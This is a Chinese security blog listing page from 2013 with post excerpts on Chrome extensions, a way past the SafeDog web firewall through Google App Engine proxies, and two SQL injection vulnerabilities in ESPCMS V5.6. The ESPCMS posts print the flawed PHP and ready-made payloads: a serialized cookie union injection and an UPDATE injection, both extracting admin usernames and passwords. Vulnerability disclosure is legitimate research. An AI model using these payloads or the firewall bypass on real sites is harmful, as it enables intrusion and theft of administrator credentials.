推荐29个Chrome拓展插件

作者:Secer 发布时间:April 17, 2013 分类:工具视频

一直用Chrome浏览器,神马IE、Opera、360XXX…… 全都抛弃 !

29个提高效率的插件,其中我最喜欢的插件是Stash!

 

1.Any.Do (任务管理,GTD)

clip_image002

十分简洁的一款GTD拓展,在IOS和android上均有app,可同步。

2.Fawave(社交应用:微博、人人、twitter、等管理)

clip_image003

3.Adblock(广告屏蔽)

clip_image004

屏蔽各种乱七八糟的广告,支持自定义页面广告屏蔽。

阅读剩余部分...

利用Google GAE 突破网站安全狗

作者:Secer 发布时间:April 17, 2013 分类:Web安全,黑客技巧

看到一个过狗的方法,被狗咬的同学可以试试。

谢谢花七七同学的刻苦钻研:http://www.hqqblog.com/break-through-the-safedog/

被咬前:

safedog[1]

见证奇迹的时候:

SITSG6Y54[0E))SAC[OIKQC

方法和原理:方法很简单,只要使用最平常不过的:通过GoAgent代理即可(其他基于GAE爬墙的软件都可以)。至于怎么使用GoAgent我想应该不用我多说了吧……原理更简单,在默认规则里面安全狗把Google的IP全添加进白名单了…当然!这个方法不是全部都有效的,只能针对大部分网站可用,某些网站可能通过修改规则删除了白名单中Google的IP。

易思ESPCMS Cookie注入

作者:Secer 发布时间:April 12, 2013 分类:絮叨碎语

易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统。

易思ESPCMS企业网站管理系统V5.6存在Cookie注入漏洞,攻击者可利用此漏洞破坏应用,执行未授权操作。

function in_list() {

parent::start_pagetemplate();

$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;

$cartid = $this->fun->accept('ecisp_order_list', 'C'); //接收cookies[‘ecisp_order_list’]

$cartid = stripslashes(htmlspecialchars_decode($cartid));

$uncartid = !empty($cartid) ? unserialize($cartid) : 0; //$cartid有特殊的格式要求

if ($uncartid && is_array($uncartid)) {

$didarray = $this->fun->key_array_name($uncartid, 'did', 'amount');

$didlist = $this->fun->format_array_text(array_keys($didarray), ',');

if (!empty($didlist)) {

$db_table = db_prefix . 'document';

$db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC";

$sql="SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM $db_table WHERE $db_where"; //动态构造sql语句

$rs = $this->db->query($sql); //直接带入查询


直接获取cookies[`ecisp_order_list`]的值,没有经过过滤,直接被用来构造了sql语句,并带入了查询。所以此处形成了一个cookie注入。

接收到的cookies[`ecisp_order_list`]在整个传递过程中,经过了htmlspecialchars_decode()、stripslashes()、unserialize()、key_array_name()、array_keys()、format_array_text()几个函数。

其中stripslashes()使得注入语句可以无视GPC的影响。

但是,由于unserialize()的使用,使得构造exp的难度加大;因为传入unserialize()的值,必须使用一种规定的特殊格式(实施上,我也没有完全吃透这个特殊格式)

我就依靠运气,和一点小技巧,成功地构造出了exp,这里就不细说了。大家可以通过打印几个函数的返回值,来找到构造的方法。(或者,也可以通过下面的exp,来找寻一些规律)

a%3a1%3a%7bs%3a3%3a%22k23%22%3ba%3a2%3a%7bs%3a3%3a%22did%22%3bs%3a159%3a%2224)+and+1%3d2+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2cpassword%2cusername%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26%2c27%2c28%2c29%2c30%2c31+from+espcms_admin_member+where+1+in+(1%22%3bs%3a6%3a%22amount%22%3bi%3a1%3b%7d%7d

阅读剩余部分...

易思ESPCMS企业网站管理系统V5.6.13.04.03的会员中心模块SQL注入漏洞

作者:Secer 发布时间:April 12, 2013 分类:Web安全

Espcms SQL注入漏洞 第二弹
http://team.f4ck.net/thread-10337-1-1.html


易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统。
易思ESPCMS企业网站管理系统V5.6.13.04.03的会员中心模块存在SQL注入漏洞,攻击者可利用此漏洞破坏应用,执行未授权操作。

漏洞文件: interface/membermain.php

function in_save() {
                parent::start_pagetemplate();
                parent::member_purview();
                $lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
                $inputclass = $this->fun->accept('inputclass', 'R');
                $upurl = $this->fun->accept('upurl', 'R');
                $userid = intval($this->fun->accept('userid', 'P'));
                $username = $this->fun->accept('username', 'P');
                if (empty($userid) || empty($username)) {
                        $linkURL = $this->mlink['center'];
                        $this->callmessage($this->lng['member_edit_ok'], $linkURL, $this->lng['gobackurlbotton']);
                }
                $email = trim($this->fun->accept('email', 'P'));
                $question = trim($this->fun->accept('question', 'P', true, true));
                $answer = trim($this->fun->accept('answer', 'P', true, true));
                $alias = trim($this->fun->accept('alias', 'P', true, true));//通过一个accept函数,确定为post提交
                $sex = $this->fun->accept('sex', 'P');//注得就是你了.$sex可控,
                $sex = empty($sex) ? 0 : $sex;
                $tel = trim($this->fun->accept('tel', 'P', true, true));
                $mobile = trim($this->fun->accept('mobile', 'P', true, true));
                $birthday = $this->fun->accept('birthday', 'P');
                $birthday = empty($birthday) ? 0 : $this->fun->formatdate($birthday, 4);
                $country = intval($this->fun->accept('cityone', 'P'));
                $country = empty($country) ? 0 : $country;
                $province = intval($this->fun->accept('citytwo', 'P'));
                $province = empty($province) ? 0 : $province;
                $city = intval($this->fun->accept('citythree', 'P'));
                $city = empty($city) ? 0 : $city;
                $district = intval($this->fun->accept('district', 'P'));
                $district = empty($district) ? 0 : $district;
                $address = trim($this->fun->accept('address', 'P', true, true));
                $zipcode = trim($this->fun->accept('zipcode', 'P', true, true));
                $zipcode = empty($zipcode) ? 0 : $zipcode;
                $msn = trim($this->fun->accept('msn', 'P', true, true));
                $qq = $this->fun->accept('qq', 'P');
                $qq = empty($qq) ? 0 : $qq;

                $db_table = db_prefix . 'member';
                $db_table2 = db_prefix . 'member_value';

下面来看看怎么进行入库处理的吧。
$db_where = 'userid=' . $userid;
$db_set= "sex=$sex,birthday=$birthday,country=$country,province=$province,city=$city,district=$district,alias='$alias',address='$address',zipcode=$zipcode,tel='$tel',mobile='$mobile',qq=$qq,msn='$msn'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);

Update注入,看了下数据库,address为varchar。

因为这个cms有个防报错的函数,构造遇到了点麻烦,一出错就显示Can not connect to Mysql server,
 

追踪下此函数:

function halt($message = '', $sql = '') { 
                $db_err = !db_err ? 0 : db_err; 
                $db_sql = !db_sql ? 0 : db_sql; 
                $mysqlinfo = '<font size="2"><b>ESPCMS SQL Error:</b> Can not connect to MySQL server<b>Time:</b>' . date('e Y-m-d H-i-s', time()); 
                $mysqlinfo.= $db_sql ? '<b>SQL:</b>' . $sql : ''; 
                $mysqlinfo.= $db_err ? '<b>Error:</b>' . mysql_error() : ''; 
                $mysqlinfo.= '<a target="_blank" href="http://www.espcms.com">http://www.espcms.com</a> Access Query Errors</font>'; 
                
                exit($mysqlinfo); 
        }

为了方便构造, 把出错的sql语句和出错的提示都打印出来。
sex=1,birthday=2013-04-02,country=0,province=0,city=0,district=0,alias=1,address=(select concat(username,CHAR(0x7c),password) from espcms_admin_member limit 1),zipcode=0,tel=0,mobile=0,qq=0,msn=0/*&birthday=2013-04-02&cityone=0&citytwo=0&citythree=0&district=0&address=12&zipcode=0&tel=&mobile=&msn=&qq=*/

阅读剩余部分...